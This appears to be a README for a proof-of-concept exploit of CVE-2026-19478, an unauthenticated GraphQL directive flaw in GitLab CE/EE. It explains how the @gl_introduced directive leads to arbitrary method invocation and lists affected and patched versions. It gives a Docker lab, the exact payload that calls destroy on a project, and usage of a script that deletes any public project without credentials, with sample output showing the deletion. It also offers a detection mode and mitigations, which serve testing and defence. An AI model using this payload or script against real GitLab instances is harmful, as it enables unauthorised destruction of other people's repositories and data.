
Proof-of-concept exploit for CVE-2026-19478, an unauthenticated GraphQL injection in GitLab CE/EE allowing arbitrary method invocation and project deletion.
★ CVE-2026-19478 GitLab GraphQL @gl_introduced unauthenticated arbitrary-method-invocation PoC ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 is an unauthenticated data-manipulation / deletion vulnerability in GitLab CE/EE (CVSS 9.4). GitLab ships a GraphQL client directive
@gl_introduced(version: "X.Y.Z")for rolling-deploy forward compatibility. When a query names a field with a version newer than the running server, a tracer strips it before static validation so the query validates, then at execution the unknown field is resolved by a fallback field that has no resolver. In graphql-ruby, a field with no resolver is resolved by callingobject.public_send(field_name)— so the client can name a field equal to any 0-argument method on the currently-resolved object, and the server invokes it. Resolving a public project and requesting a "future field" nameddestroytherefore runs — deleting a public project (or modifying user data) with .
Project#destroy| Category | Version |
|---|---|
| Vulnerable | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| Patched | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 or later |
Resolvers::NilResolver (returns nil, never invokes a method)Build and run the vulnerable GitLab. It self-seeds a public repository victim/demo that you
can delete unauthenticated. GitLab takes ~3–5 minutes to finish reconfiguring and seeding.
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| Precondition | State in this lab |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| A public project reachable anonymously | victim/demo (seeded) |
| Unauthenticated GraphQL endpoint reachable | /api/graphql exposed |
The exploit gitlab_exploit.py deletes any public repository you point it at, with no
credentials. It sends the @gl_introduced payload that turns the GraphQL field name destroy
into a Project#destroy call, then confirms the deletion via the REST API (404).
# python3 gitlab_exploit.py <target ip:port> --repo <group/name>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] target ......... http://172.17.0.2:3000
[*] BEFORE (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (exists)
[*] PAYLOAD (unauth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] waiting for async delete to finish ...
[+] AFTER (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCESS - the UNAUTHENTICATED request DELETED 'victim/demo'. CVE-2026-19478 proven.
Options:
--detect — safe, non-destructive check (invokes the harmless to_param method instead of destroy)--repo group/name — target any public project on the instance--insecure — skip TLS verification for https:// targets@gl_introduced directive / the version-filter path at a reverse proxy, or restrict unauthenticated access to /api/graphql